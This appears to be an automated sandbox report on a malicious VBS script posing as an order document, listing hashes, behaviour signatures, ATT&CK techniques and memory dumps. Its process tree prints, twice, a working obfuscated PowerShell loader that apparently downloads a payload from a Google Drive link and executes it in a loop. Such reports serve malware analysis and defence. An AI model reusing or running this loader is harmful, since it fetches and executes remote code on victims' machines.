Analysis

  • max time kernel
    92s
  • max time network
    122s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28-03-2024 18:39

General

  • Target

    ocrev ns.ordine 290520280324.vbs

  • Size

    39KB

  • MD5

    fa056beb38a88b12dbc668b3f154e767

  • SHA1

    fac7b8db2c2d25253df4b363c4be4e6f53d36e5b

  • SHA256

    e89cc01f68abe8c3b986801052bd118be35c6dd01e3757ecfe80ed90acb2bff0

  • SHA512

    df44a0d080cef7bb783f8bf64876dca6e67afbb48d888c235914e33f70174cdd04907e250e7d7636fb18b209c5d0d5a27d752e9842aa1cbca730b818ee0ba00f

  • SSDEEP

    768:u0agBtKWAZGc8NnKwiQoAMyCgnnDSR9mfJYAwYu3:BQqNnKwbmgnDSefJYADQ

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ocrev ns.ordine 290520280324.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4644
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Balkanisering Skovjordbrrenes Squills #>;$Tolan=(cmd /c set /A 115^^0);Function Makron ([String]$Glitning62){$Flkksen=[char][int]$Tolan+'ubstring';$Seksualforbrydelsernterchoke=8;$Grisliest=Underfaktureringens($Glitning62);For($Seksualforbrydelser=7; $Seksualforbrydelser -lt $Grisliest; $Seksualforbrydelser+=$Seksualforbrydelsernterchoke){$Dissimilative=$Glitning62.$Flkksen.Invoke($Seksualforbrydelser, 1);$Heteromeran=$Heteromeran+$Dissimilative;}$Heteromeran;}function Brontosaur ($Afmelding){. ($trykknaptoner) ($Afmelding);}function Underfaktureringens ([String]$Flyvestationen){$Donorer=$Flyvestationen.Length-1;$Donorer;}$Achaemenidae=Makron 'LoricarTSul,hurrCoun,eraFrstegan frmn,vsE.samenfPuklen,eIron,our ZymogerSpunsigiunpreemnAntiarig Hulkor ';$nonapplicability=Makron 'fertilih Non.titPsaltettSan.sigpF rlgges Unmark:,orudbe/Theoso,/GerberadFeltop rQuarreliPast.urvInserateIp,pode.Viskendg DykkeroSinkerboKomponega ngueslResearceUndeci,.De ineacTranspooBjergtam Bundp,/Upan.shuFirlingcPrammes? embowkeMirrorixKystbanpTrm kenoCircumlrUnrelattSyndica= NonpardTr eskyoFordmmewPiecertnSmre stlSolvognoC,rasinaAnl gged Unfear&Prostiti SuperodUnissua=Corbina1Xe.omyrRbarrikaTSkovsvicMutualiDFllersr5 Ursulal SvovlabHove grB al ervFTeokratHMu onanxBilledr8apalitnpDef.nitsSkakterY,erisark ReunpanDia,onaD Futt rcSla.elsQLambast2RedimenmDummestwTilbag.AAngioc s Axioma1 CivileMWronskiZUddanneZFrit.me1U,pervayPre ankiBrnepda ';$trykknaptoner=Makron 'JobberiiBogtryke IndpakxWe.foot ';$Ibrndes=Makron 'unpower$P.eromag Tffel.l,sychoso Alkalib GravedaUnite il Unsavo:Tinges.Halkit,ao amnatirargyr stVedkommi Retouck Cyklo.uPriva.ilTu.indetFarv lfu Harborr Ta.negeAmorouslPygme,n Land.or= Araksh Dkna nkSForgivntIndskriaS,ebentrSlu,strtUltragr- SuperfBunctuosi .eterotSpecielsNeonre,TTrafikerA,derskaKar.issnwolmerss Et,ernfFortovsedisharmrAf,ladn Pol,ch-tranquiSEntu,iaoDigekrouflonellr Medic cPaintieeTa,tefe inte,s$,nserafnMemorizousyn.ign Tenontadetermip Tra.tap,freefjlbedrageiCo,terpcNovebora ForgasbTritanoi ngratlSta lvaiWhslehut KlinkeyCajoler T gugur-En,estyDH.ngerweIn.tastsMilie.st RaasiliafstemnnDokkemuaVerdenstAndengriFastlaaopokeroonlnning. Gramoch$Dys ropD HomoloeKodfodelDisgrunp Va dalrEthopo,o Pegas jFlukilyeSugep mku.yggeltLikvideeLhot.gorCantalon Reklame Squade ';Brontosaur (Makron ',ernban$AstianfgBrugernlCatal,no Contrab rereslaSp.reknl Pisten: CondylDAut,mobeFornentlOutperfpCimeliurArticovoMerenchjSpottaie AzoospkAnmodnitUniktame BeclasrDisembanTekstmaeLax.yci= Bedsta$m.ndskee Om krinKlirredvSk svrt:NedsnknaUnstuccpBengtedp Smir,idKi,kedaaFrdighetTartaraaR,goute ') ;Brontosaur (Makron 'Mali.ioI Kar.inmTechnicpVkstregol,getaarB handltPhenoxi-DisrobiMtrevreloKnirkeddPragtvru Skn eglFirebloe,xodist DrivhjuBGavne,eiS.earfitPhenylcsKo,dkriTKejserkrFo ledsa.escantnJvnbyrdshectol fDi antpeIchthyorBateman ') ;$Delprojekterne=$Delprojekterne+'\Cacidrosis.Pus' ;Brontosaur (Makron 'Chooseh$unnoosegForbrugl Cl ateoKrybberbGuyerssaPseudoslun.pray: RaadsmC UnspiroAeronomnAa nerec Empa.hu .kumrerFolkefos,onvoluuTonico.sAnomalo=Afbloms(DidstprTBrsspeke Afklens Th.atrtemitten- LerdonP Wrathia Triumvt Quadrih Teents Over.la$GjordedDOchlocreManipullPilleripAflvninrPropagao RenovajFerniseeGospelskSubje,tt Minkf.e.mrkelirEfterlinHavebrueRyn,era) Merist ') ;while (-not $Concursus) {Brontosaur (Makron 'goniophIBaandopf Quizzi So,rani(Evernes$PdagogeHBegodu oWeihoverArkadentBaalplaiApiece.k Kolo nuGe atinl TremaetAttrectu OversprbluffereVisitatlA.tenhi.VagtholJL,vsstioValt,rmbL,efangSUdmatrit Sex,loa CohogatSemimodeOverskr Aarskoe-p erygieAnklageqBr earb Nargilm$MultijuAMae nidcSkalpe.hKomlksvaDrner ce KloakemHammerkeMasc,tinSamvretiOratornd MaskinaTumbrele.razedn)Hylde.s skrueis{JgerstuSNonerrot elloesaDrjderbrEngrosstcol,oxu-SpringbSOrt gonlskarnkaeMeropodeRejensgpdivalen Afg.ett1Drfljen}Fis.neteVitrifalFin,ekasPersonleOrganot{ .horseSTeltholtJaketsraGro.tenr.alibratA.ompha-JagtlejSRetr,eul AuthoreTril.ineAgpaitip.uskers P.emeas1 rotche;SaarhelB ankvor make,hoKystb,nnalgorittColoniao BestiksrerigesaBuks baufodrodsr Agasti Napk.n$FicoskaIH andspb Oleo tr Soldesn Interrd SwabbeeLidiasasGardehu} ycledb ');Brontosaur (Makron 'Premitp$Nuppendgdatove,lja.batioBenzintbGeckinga.kstraplRecitat: DezaleCGril ino Unsp.nn SuppetcGrundl,u elefonrIncremesUnquencuInquirisObvolve=regange(R.ceptiTInitialeMazzardsEiner stpapirbi-Psam,omPpejlstoaRunaanttSkattebhClepsin Kanvase$ Aut maD Kursuse.dsvednlTrophodpStuelrdrExemplaoUn laspjT.lmatee GraphekAcroamatCronhame UdsgterLintelinP.ginereLngersc)Mukkert ') ;}Brontosaur (Makron 'Subseri$Otiatr,g Thereol Fr wnlouniformb GrandiaBjergarl Trngse:Ba.fodeGPerimetaUdbygdesb mbesto debarklStinkini terapieSygesikr .torsvyKommerc .happys=Spyttek BuzzerGHjemme eLjtnanttFabular-But,noiCLiniedioDrilybenLokalfot .uciabePastoranViv,ennt Shee,h Patrici$UnderwoDGamotroeBestyrel womanppfundamerLethargoBrudbjejExec treProfesskEric,ust M.gnifeVankeder egredinTilsidseKodere, ');Brontosaur (Makron 'Underin$Parb.ilgSautoirlAmbagioo GlycerbSengebaaabrogatlBombard:AntidotRPunktskrNenessulBerlineaD abssig E.uiartBelcher E,stas=S ackle Re res[MindstySUninterysnnernesUncathat tjeneseDamp.ammEnkeltp.Adia,heCTransitoBo,ishlnDragstevFestooneSemitenrKlarhjetfavuses]Arbejds: Progno:Fi tiveFSvind.erBribemooUnloppemR.gsenhBPassateaRu,turisSer,mineSalater6Sadlers4UndupliSCo pliat,hervefrBothriuiSamovarnHeartbrgTrrepla(Unimpre$Snurr,vGFarv.ndaWattseksOutsettoDisclail InjectiBeelolseCisternr UbemrkyRebon,i)Oenoli. ');Brontosaur (Makron 'Cooptin$Grangerg SentenlLymphadograt,nvbCourbela,oncettl Hetero:TaksttrP RenewaaForva.krEdi yineFroko,tnOutbawl Il,egal=Stung.e Stromat[RampikeSMindsteyMagth vsCiv.lpotNongramePoncanemTrentep.LdrepolT regnskeWi.netkxd.plobat Vi.kel.Konfyt E SnafflnMyopugicGenteknoQuer srdDia.oneiballernnT agtiggErrssva] ,ridev: Indfre: Enkem AStudentSRhagadeC EpistyI DisketI Jun,en.SojournG U,succe Fielbet SlagfjSandrogftUnintenrPrstindiMentholn DksblagTumlepl( Pedome$ nkoshRPropaner FilmbylAggregaaCoyotilg UnconstEftert )Haardfr ');Brontosaur (Makron 'Humuhum$Perikumg K,aksalDri husoSildigtbUtjenstaS,amanslUdk nto:KilolitT olatiliForhindl Af.rkktOrangervTiliseniRe,nskan sdvaneg JaithreB.stepurLar,ons=Plasm d$C ondroPPaleod a Squa,orPlexu.se tannitnParad.r.,rillensApsisseuGoopylubLus revsMatrixptAnyb.dirSalomoniData.asnDrivgasgxant ot(Waterwo3Inchoat5Mesorh,0,issabl7L fligh9,malhan4Ansv rs,Calandr3Shakeup2Spdbarn5Bidimen3Nipsgen7Tubuleu)Sixtyse ');Brontosaur $Tiltvinger;"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3652
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c set /A 115^^0
        3⤵
          PID:512
        • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Balkanisering Skovjordbrrenes Squills #>;$Tolan=(cmd /c set /A 115^^0);Function Makron ([String]$Glitning62){$Flkksen=[char][int]$Tolan+'ubstring';$Seksualforbrydelsernterchoke=8;$Grisliest=Underfaktureringens($Glitning62);For($Seksualforbrydelser=7; $Seksualforbrydelser -lt $Grisliest; $Seksualforbrydelser+=$Seksualforbrydelsernterchoke){$Dissimilative=$Glitning62.$Flkksen.Invoke($Seksualforbrydelser, 1);$Heteromeran=$Heteromeran+$Dissimilative;}$Heteromeran;}function Brontosaur ($Afmelding){. ($trykknaptoner) ($Afmelding);}function Underfaktureringens ([String]$Flyvestationen){$Donorer=$Flyvestationen.Length-1;$Donorer;}$Achaemenidae=Makron 'LoricarTSul,hurrCoun,eraFrstegan frmn,vsE.samenfPuklen,eIron,our ZymogerSpunsigiunpreemnAntiarig Hulkor ';$nonapplicability=Makron 'fertilih Non.titPsaltettSan.sigpF rlgges Unmark:,orudbe/Theoso,/GerberadFeltop rQuarreliPast.urvInserateIp,pode.Viskendg DykkeroSinkerboKomponega ngueslResearceUndeci,.De ineacTranspooBjergtam Bundp,/Upan.shuFirlingcPrammes? embowkeMirrorixKystbanpTrm kenoCircumlrUnrelattSyndica= NonpardTr eskyoFordmmewPiecertnSmre stlSolvognoC,rasinaAnl gged Unfear&Prostiti SuperodUnissua=Corbina1Xe.omyrRbarrikaTSkovsvicMutualiDFllersr5 Ursulal SvovlabHove grB al ervFTeokratHMu onanxBilledr8apalitnpDef.nitsSkakterY,erisark ReunpanDia,onaD Futt rcSla.elsQLambast2RedimenmDummestwTilbag.AAngioc s Axioma1 CivileMWronskiZUddanneZFrit.me1U,pervayPre ankiBrnepda ';$trykknaptoner=Makron 'JobberiiBogtryke IndpakxWe.foot ';$Ibrndes=Makron 'unpower$P.eromag Tffel.l,sychoso Alkalib GravedaUnite il Unsavo:Tinges.Halkit,ao amnatirargyr stVedkommi Retouck Cyklo.uPriva.ilTu.indetFarv lfu Harborr Ta.negeAmorouslPygme,n Land.or= Araksh Dkna nkSForgivntIndskriaS,ebentrSlu,strtUltragr- SuperfBunctuosi .eterotSpecielsNeonre,TTrafikerA,derskaKar.issnwolmerss Et,ernfFortovsedisharmrAf,ladn Pol,ch-tranquiSEntu,iaoDigekrouflonellr Medic cPaintieeTa,tefe inte,s$,nserafnMemorizousyn.ign Tenontadetermip Tra.tap,freefjlbedrageiCo,terpcNovebora ForgasbTritanoi ngratlSta lvaiWhslehut KlinkeyCajoler T gugur-En,estyDH.ngerweIn.tastsMilie.st RaasiliafstemnnDokkemuaVerdenstAndengriFastlaaopokeroonlnning. Gramoch$Dys ropD HomoloeKodfodelDisgrunp Va dalrEthopo,o Pegas jFlukilyeSugep mku.yggeltLikvideeLhot.gorCantalon Reklame Squade ';Brontosaur (Makron ',ernban$AstianfgBrugernlCatal,no Contrab rereslaSp.reknl Pisten: CondylDAut,mobeFornentlOutperfpCimeliurArticovoMerenchjSpottaie AzoospkAnmodnitUniktame BeclasrDisembanTekstmaeLax.yci= Bedsta$m.ndskee Om krinKlirredvSk svrt:NedsnknaUnstuccpBengtedp Smir,idKi,kedaaFrdighetTartaraaR,goute ') ;Brontosaur (Makron 'Mali.ioI Kar.inmTechnicpVkstregol,getaarB handltPhenoxi-DisrobiMtrevreloKnirkeddPragtvru Skn eglFirebloe,xodist DrivhjuBGavne,eiS.earfitPhenylcsKo,dkriTKejserkrFo ledsa.escantnJvnbyrdshectol fDi antpeIchthyorBateman ') ;$Delprojekterne=$Delprojekterne+'\Cacidrosis.Pus' ;Brontosaur (Makron 'Chooseh$unnoosegForbrugl Cl ateoKrybberbGuyerssaPseudoslun.pray: RaadsmC UnspiroAeronomnAa nerec Empa.hu .kumrerFolkefos,onvoluuTonico.sAnomalo=Afbloms(DidstprTBrsspeke Afklens Th.atrtemitten- LerdonP Wrathia Triumvt Quadrih Teents Over.la$GjordedDOchlocreManipullPilleripAflvninrPropagao RenovajFerniseeGospelskSubje,tt Minkf.e.mrkelirEfterlinHavebrueRyn,era) Merist ') ;while (-not $Concursus) {Brontosaur (Makron 'goniophIBaandopf Quizzi So,rani(Evernes$PdagogeHBegodu oWeihoverArkadentBaalplaiApiece.k Kolo nuGe atinl TremaetAttrectu OversprbluffereVisitatlA.tenhi.VagtholJL,vsstioValt,rmbL,efangSUdmatrit Sex,loa CohogatSemimodeOverskr Aarskoe-p erygieAnklageqBr earb Nargilm$MultijuAMae nidcSkalpe.hKomlksvaDrner ce KloakemHammerkeMasc,tinSamvretiOratornd MaskinaTumbrele.razedn)Hylde.s skrueis{JgerstuSNonerrot elloesaDrjderbrEngrosstcol,oxu-SpringbSOrt gonlskarnkaeMeropodeRejensgpdivalen Afg.ett1Drfljen}Fis.neteVitrifalFin,ekasPersonleOrganot{ .horseSTeltholtJaketsraGro.tenr.alibratA.ompha-JagtlejSRetr,eul AuthoreTril.ineAgpaitip.uskers P.emeas1 rotche;SaarhelB ankvor make,hoKystb,nnalgorittColoniao BestiksrerigesaBuks baufodrodsr Agasti Napk.n$FicoskaIH andspb Oleo tr Soldesn Interrd SwabbeeLidiasasGardehu} ycledb ');Brontosaur (Makron 'Premitp$Nuppendgdatove,lja.batioBenzintbGeckinga.kstraplRecitat: DezaleCGril ino Unsp.nn SuppetcGrundl,u elefonrIncremesUnquencuInquirisObvolve=regange(R.ceptiTInitialeMazzardsEiner stpapirbi-Psam,omPpejlstoaRunaanttSkattebhClepsin Kanvase$ Aut maD Kursuse.dsvednlTrophodpStuelrdrExemplaoUn laspjT.lmatee GraphekAcroamatCronhame UdsgterLintelinP.ginereLngersc)Mukkert ') ;}Brontosaur (Makron 'Subseri$Otiatr,g Thereol Fr wnlouniformb GrandiaBjergarl Trngse:Ba.fodeGPerimetaUdbygdesb mbesto debarklStinkini terapieSygesikr .torsvyKommerc .happys=Spyttek BuzzerGHjemme eLjtnanttFabular-But,noiCLiniedioDrilybenLokalfot .uciabePastoranViv,ennt Shee,h Patrici$UnderwoDGamotroeBestyrel womanppfundamerLethargoBrudbjejExec treProfesskEric,ust M.gnifeVankeder egredinTilsidseKodere, ');Brontosaur (Makron 'Underin$Parb.ilgSautoirlAmbagioo GlycerbSengebaaabrogatlBombard:AntidotRPunktskrNenessulBerlineaD abssig E.uiartBelcher E,stas=S ackle Re res[MindstySUninterysnnernesUncathat tjeneseDamp.ammEnkeltp.Adia,heCTransitoBo,ishlnDragstevFestooneSemitenrKlarhjetfavuses]Arbejds: Progno:Fi tiveFSvind.erBribemooUnloppemR.gsenhBPassateaRu,turisSer,mineSalater6Sadlers4UndupliSCo pliat,hervefrBothriuiSamovarnHeartbrgTrrepla(Unimpre$Snurr,vGFarv.ndaWattseksOutsettoDisclail InjectiBeelolseCisternr UbemrkyRebon,i)Oenoli. ');Brontosaur (Makron 'Cooptin$Grangerg SentenlLymphadograt,nvbCourbela,oncettl Hetero:TaksttrP RenewaaForva.krEdi yineFroko,tnOutbawl Il,egal=Stung.e Stromat[RampikeSMindsteyMagth vsCiv.lpotNongramePoncanemTrentep.LdrepolT regnskeWi.netkxd.plobat Vi.kel.Konfyt E SnafflnMyopugicGenteknoQuer srdDia.oneiballernnT agtiggErrssva] ,ridev: Indfre: Enkem AStudentSRhagadeC EpistyI DisketI Jun,en.SojournG U,succe Fielbet SlagfjSandrogftUnintenrPrstindiMentholn DksblagTumlepl( Pedome$ nkoshRPropaner FilmbylAggregaaCoyotilg UnconstEftert )Haardfr ');Brontosaur (Makron 'Humuhum$Perikumg K,aksalDri husoSildigtbUtjenstaS,amanslUdk nto:KilolitT olatiliForhindl Af.rkktOrangervTiliseniRe,nskan sdvaneg JaithreB.stepurLar,ons=Plasm d$C ondroPPaleod a Squa,orPlexu.se tannitnParad.r.,rillensApsisseuGoopylubLus revsMatrixptAnyb.dirSalomoniData.asnDrivgasgxant ot(Waterwo3Inchoat5Mesorh,0,issabl7L fligh9,malhan4Ansv rs,Calandr3Shakeup2Spdbarn5Bidimen3Nipsgen7Tubuleu)Sixtyse ');Brontosaur $Tiltvinger;"
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1812
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c set /A 115^^0
            4⤵
              PID:4672
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1812 -s 2720
              4⤵
              • Program crash
              PID:1324
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1812 -ip 1812
        1⤵
          PID:3008

        Network

        MITRE ATT&CK Matrix ATT&CK v13

        Discovery

        Query Registry

        1
        T1012

        System Information Discovery

        2
        T1082

        Command and Control

        Web Service

        1
        T1102

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uow4qpqg.ve2.ps1
          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/1812-18-0x0000000075010000-0x00000000757C0000-memory.dmp
          Filesize

          7.7MB

        • memory/1812-36-0x0000000005F90000-0x0000000005FAE000-memory.dmp
          Filesize

          120KB

        • memory/1812-17-0x00000000049E0000-0x0000000004A16000-memory.dmp
          Filesize

          216KB

        • memory/1812-46-0x0000000075010000-0x00000000757C0000-memory.dmp
          Filesize

          7.7MB

        • memory/1812-42-0x0000000008430000-0x00000000089D4000-memory.dmp
          Filesize

          5.6MB

        • memory/1812-41-0x00000000071B0000-0x00000000071D2000-memory.dmp
          Filesize

          136KB

        • memory/1812-40-0x0000000007220000-0x00000000072B6000-memory.dmp
          Filesize

          600KB

        • memory/1812-39-0x0000000006570000-0x000000000658A000-memory.dmp
          Filesize

          104KB

        • memory/1812-43-0x0000000007400000-0x0000000007422000-memory.dmp
          Filesize

          136KB

        • memory/1812-44-0x0000000007480000-0x0000000007494000-memory.dmp
          Filesize

          80KB

        • memory/1812-21-0x0000000005050000-0x0000000005678000-memory.dmp
          Filesize

          6.2MB

        • memory/1812-19-0x0000000002610000-0x0000000002620000-memory.dmp
          Filesize

          64KB

        • memory/1812-22-0x0000000002610000-0x0000000002620000-memory.dmp
          Filesize

          64KB

        • memory/1812-38-0x0000000007800000-0x0000000007E7A000-memory.dmp
          Filesize

          6.5MB

        • memory/1812-23-0x00000000056F0000-0x0000000005712000-memory.dmp
          Filesize

          136KB

        • memory/1812-24-0x0000000005790000-0x00000000057F6000-memory.dmp
          Filesize

          408KB

        • memory/1812-25-0x0000000005870000-0x00000000058D6000-memory.dmp
          Filesize

          408KB

        • memory/1812-35-0x0000000005990000-0x0000000005CE4000-memory.dmp
          Filesize

          3.3MB

        • memory/1812-37-0x0000000005FD0000-0x000000000601C000-memory.dmp
          Filesize

          304KB

        • memory/3652-15-0x00000217612C0000-0x00000217612D0000-memory.dmp
          Filesize

          64KB

        • memory/3652-20-0x00007FFA74E40000-0x00007FFA75901000-memory.dmp
          Filesize

          10.8MB

        • memory/3652-16-0x00000217612C0000-0x00000217612D0000-memory.dmp
          Filesize

          64KB

        • memory/3652-0-0x00000217634E0000-0x0000021763502000-memory.dmp
          Filesize

          136KB

        • memory/3652-14-0x00000217638F0000-0x0000021763904000-memory.dmp
          Filesize

          80KB

        • memory/3652-13-0x0000021763890000-0x00000217638B6000-memory.dmp
          Filesize

          152KB

        • memory/3652-11-0x00000217612C0000-0x00000217612D0000-memory.dmp
          Filesize

          64KB

        • memory/3652-12-0x00000217612C0000-0x00000217612D0000-memory.dmp
          Filesize

          64KB

        • memory/3652-45-0x00000217612C0000-0x00000217612D0000-memory.dmp
          Filesize

          64KB

        • memory/3652-10-0x00007FFA74E40000-0x00007FFA75901000-memory.dmp
          Filesize

          10.8MB

        • memory/3652-49-0x00007FFA74E40000-0x00007FFA75901000-memory.dmp
          Filesize

          10.8MB